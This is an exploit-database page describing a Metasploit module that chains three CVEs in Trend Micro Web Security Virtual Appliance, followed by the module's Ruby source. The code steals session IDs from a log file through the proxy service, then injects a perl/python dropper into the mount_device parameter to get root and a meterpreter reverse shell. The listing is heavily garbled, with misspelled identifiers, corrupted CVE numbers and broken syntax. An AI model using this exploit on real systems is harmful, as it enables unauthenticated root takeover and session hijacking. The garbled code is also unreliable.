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Trend Micro Web Security (Virtual Appliance) Remote Code Execution

This Metasploit module exploits multiple vulnerabilities together in order to achieve a remote code execution. Unauthenticated users can execute a terminal command under the context of the root user. The specific flaw exists within the LogSettingHandler class of administrator interface software. When parsing the mount_device parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. But authentication is required to exploit this vulnerability. Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users can exploit this vulnerability in order to communicate with internal services in the product. Last but not least a flaw exists within the Apache Solr application, which is installed within the product. When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the IWSS user. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user. Version prior to 6.5 SP2 Patch 4 (Build 1901) are affected.

exploit, remote, root, vulnerability, code execution ories | CVE-2020-8604, CVE-2020-8605, CVE-2020-8606

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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##					
class Met Rank =	class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking				
include	Msf::Exploit::Remote::HttpClient				
def ini	tialize(info = {})				
upd	aste_info(
	Name" > "Trend Micro Web Security (Virtual Appliance) Remote Code Execution', Description' > 3q[This module exploits multiple vulnerabilities together in order to achive a remote code execution. Unauthenticated users can execute a terminal command under the context of the root user.				
	The specific flaw exists within the LogSettingHandler class of administrator interface software. When parsing the mount_device parameter, the process does not properly validate a user-supplied				
string	before using it to execute a system call. An attacker can leverage this vulnerability to execute code				
in	the context of root. But authentication is required to exploit this vulnerability.				
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using it	in file operations. An attacker can leverage this vulnerability to disclose information in the context of the IWSS user.				
under the	Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command context of the root user.				
	Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.				
,	, License' -> MSF_LICENSE, Author' ->				
	['Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module</mehmet@mehmetince.net>				
	References' =>				
	[['CVE', '2020-8604'], ['CVE', '2020-8605'],				
	['CUE', '2220-8004'], ['CUE', '2220-8005'], ['CUE', '2220-8006'], ['ZDI', '26-676'], ['ZDI', '26-676'], ['ZDI', '26-678']				
:], Privileged' => true, DefaultOptions' =>				
	'SSL' -> true, 'SSL' -> 'python/meterpreter/reverse_tcp', 'M#sbelay' -> 30				
	}, Payload' =>				
	'Compat' =>				
	'ConnectionType' => '-bind' }				
	}, Platform' => ['python'],				
:	Arch' => ARCH FYTHON, Targets' => [['Automatic', {}]], DisclosureDate' -> '2020-06-10',				
	DefaultTarget' => 0,				
'	Notes' > (
	SideEffects' => [IOC_IN_LOGS] }				
)					
	ster_options(
[c	opt::RPORT(8443), optInt.new('FROXY_PORT', {true, 'Port number of Trend Micro Web Filter Proxy service', 8080])				
) end					
def hij	lack_cookie lating SSL and RPORT in order to communicate with HTTP proxy service.				
ss1 dat	ttastore('SSL') _restore = true astore('SSL') = false				
end port_ datas	restore = datastore['RPORT'] tore['RPORT'] = datastore['FROXY_PORT']				
@jses	ssionid = ''				
# We are exploiting proxy service vulnerability in order to fetch content of catalina.out file print_status('Trying to extract session ID by exploiting reverse proxy service')					
I .					

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```
res = send_request_cgi({
    'method' => 'GET'.
       # Restore variables and validate extracted sessionid
datastore['SSL'] = true if ssl_restore
datastore['RPORT'] = port_restore
    # Routine check on res object
unless res
    unless res fail_with(Failure::Unreachable, 'Target is unreachable.') end
   \theta If the res code is not 200 that means proxy service is not vulnerable. unless res.code == 200 _{\odot} == 0.5 (seesalonid = -1 return end
 if cookies.empty?

Special of experience a user session was not detected and is therefore exploitable. Retry after a user logs in.')

end
    \$ Now we are going to extract all JESSIONID from log file and store them in array.cookies = res.body.scan(/CheckUserLogon sessionid: (.*)/).flatten
    print_good("Extracted number of JSESSIONID: #{cookies.length}")
     # We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl
    datastore['SSL'] = true if ssl_restore
datastore['RPORT'] = port_restore
    # Latest cookie in the log file is the one most probably active. So that we use reverse on array.
cookies.reverse.each with index of clocokie, index
print_stawn("Testing JSSSSIONID ##|index) : #(cookie)")
     # Routine res check
unless res
fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
end
      # If the cookie is active !
if res.code == 200 is res.body.include?('session_flag')
    pre-location thereofi!! JESSIONID ##(index) is active.")
    break
end
if &jsessionid.empty?

print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.')

end

end
    print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
end
 def check
    # @jsessionid can be one of the following value
     ^{*} ^{+} -1 = Proxy service is not vulnerable, which means we'r not gonna ^{*} be able to read catalina.out
    # empty = Proxy service is vulnerable, but jessionid within log file but # none of them are valid:(
    # string = Proxy service is vulnerable and sessionid is valid !
 if @jsessionid == -1
   CheckCode::Safe
else
   CheckCode::Vulnerable
end
end
 def exploit
   unless check == CheckCode::Vulnerable fail with Failure::NotVulnerable, 'Target is not vulnerable' end
    # 0 \, => Proxy service is vulnerable, but catalina.out does not contain any + jessionid string yet ! .
    # empty => Proxy service is vulnerable, but jessionid within log file but
# none of them are valid:(
   "
if @jsessionid.empty? || @jsssionid == 0
fail_with Failure::NoAccess, ''
end
    print_status('Exploiting command injection vulnerability')
    # Yet another app specific bypass is going on here.
# It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double
    aping etc) \# For that reason, I am planting our payload dropper within the perl command.
    cmd = "python -c \"#{payload.encoded}\""
final payload = cmd.to_s.unpeck[('H'')]
p = "perl -e 'system(pick(qq,H#ffinal_payload.length),,qq,#{final_payload},))'"
    send request_cgi[{
    'method' >> 'POST',
    'uri' >> normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
    'cookie' >> 'JSESSIONID-#[#]sessionid]",
    'ctype' >> 'application/json',
    'data' >> vars_post_to_json
```

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